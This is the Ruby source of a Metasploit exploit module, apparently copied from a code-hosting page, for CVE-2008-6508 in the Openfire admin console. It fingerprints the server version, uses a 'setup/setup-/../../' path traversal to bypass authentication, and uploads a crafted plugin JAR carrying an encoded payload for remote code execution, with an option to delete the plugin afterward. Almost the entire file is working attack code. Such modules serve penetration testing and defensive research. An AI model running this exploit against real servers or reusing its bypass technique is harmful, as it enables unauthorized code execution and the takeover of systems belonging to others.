4f903a604c
Fix #5103. By default, Httpclient will encode the URI but we don't necessarily want that. These modules originally didn't use URI encoding when they were written so we should just keep them that way.
220 lines
6.7 KiB
Ruby
220 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/zip'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Openfire Admin Console Authentication Bypass',
|
|
'Description' => %q{
|
|
This module exploits an authentication bypass vulnerability in the administration
|
|
console of Openfire servers. By using this vulnerability it is possible to
|
|
upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
|
|
code. This module has been tested against Openfire 3.6.0a.
|
|
|
|
It is possible to remove the uploaded plugin after execution, however this might turn
|
|
the server in some kind of unstable state, making re-exploitation difficult. You might
|
|
want to do this manually.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Andreas Kurtz', # Vulnerability discovery
|
|
'h0ng10' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-6508' ],
|
|
[ 'OSVDB', '49663' ],
|
|
[ 'BID', '32189' ],
|
|
[ 'EDB', '7075' ],
|
|
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
|
|
],
|
|
'DisclosureDate' => 'Nov 10 2008',
|
|
'Privileged' => true,
|
|
'Platform' => %w{ java linux win },
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' =>
|
|
[
|
|
#
|
|
# Java version
|
|
#
|
|
[ 'Java Universal',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
}
|
|
],
|
|
#
|
|
# Platform specific targets
|
|
#
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
],
|
|
[ 'Linux x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9090),
|
|
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
|
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
|
|
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
|
|
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
|
|
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
base = target_uri.path
|
|
base << '/' if base[-1, 1] != '/'
|
|
|
|
path = normalize_uri(base, "login.jsp")
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => path
|
|
})
|
|
|
|
if (not res) or (res.code != 200)
|
|
vprint_error("Unable to make a request to: #{path}")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
|
|
|
|
if versioncheck.nil? then
|
|
vprint_error("Unable to detect Openfire version")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
vprint_status("Detected version: #{$1}.#{$2}.#{$3}")
|
|
version = "#{$1}#{$2}#{$3}".to_i
|
|
|
|
return Exploit::CheckCode::Safe if version > 360
|
|
|
|
# Just to be sure, try to access the log page
|
|
path = "#{base}setup/setup-/../../log.jsp"
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => path
|
|
})
|
|
|
|
if (not res) or (res.code != 200)
|
|
print_error("Failed: Error requesting #{path}")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def get_plugin_jar(plugin_name)
|
|
files = [
|
|
[ "logo_large.gif" ],
|
|
[ "logo_small.gif" ],
|
|
[ "readme.html" ],
|
|
[ "changelog.html" ],
|
|
[ "lib", "plugin-metasploit.jar" ]
|
|
]
|
|
|
|
jar = Rex::Zip::Jar.new
|
|
jar.add_files(files, File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508"))
|
|
|
|
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
|
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
|
|
|
plugin_xml = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
|
|
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
|
|
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
|
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
|
|
|
jar.add_file("plugin.xml", plugin_xml)
|
|
|
|
jar
|
|
end
|
|
|
|
def exploit
|
|
base = normalize_uri(target_uri.path)
|
|
base << '/' if base[-1, 1] != '/'
|
|
|
|
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
|
|
plugin = get_plugin_jar(plugin_name)
|
|
|
|
arch = target.arch
|
|
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
|
|
|
|
if (p = exploit_regenerate_payload(plat, arch)) == nil
|
|
print_error("Failed to regenerate payload")
|
|
return
|
|
end
|
|
|
|
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
|
plugin.build_manifest
|
|
|
|
# Upload the plugin to the server
|
|
print_status("Uploading plugin #{plugin_name} to the server")
|
|
boundary = rand_text_alphanumeric(6)
|
|
|
|
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
|
|
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
|
data << plugin.pack
|
|
data << "\r\n--#{boundary}--"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'encode_params' => false,
|
|
'headers' => {
|
|
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
|
'Content-Length' => data.length,
|
|
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
|
},
|
|
'vars_get' => {
|
|
'uploadplugin' => nil
|
|
}
|
|
})
|
|
|
|
|
|
print_warning("Warning: got no response from the upload, continuing...") if !res
|
|
|
|
# Delete the uploaded JAR file
|
|
if datastore['REMOVE_PLUGIN']
|
|
print_status("Deleting plugin #{plugin_name} from the server")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'),
|
|
'encode_params' => false,
|
|
'headers' => {
|
|
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
|
},
|
|
'vars_get' => {
|
|
'deleteplugin' => plugin_name.downcase
|
|
}
|
|
})
|
|
if not res
|
|
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
|
|
end
|
|
end
|
|
end
|
|
end
|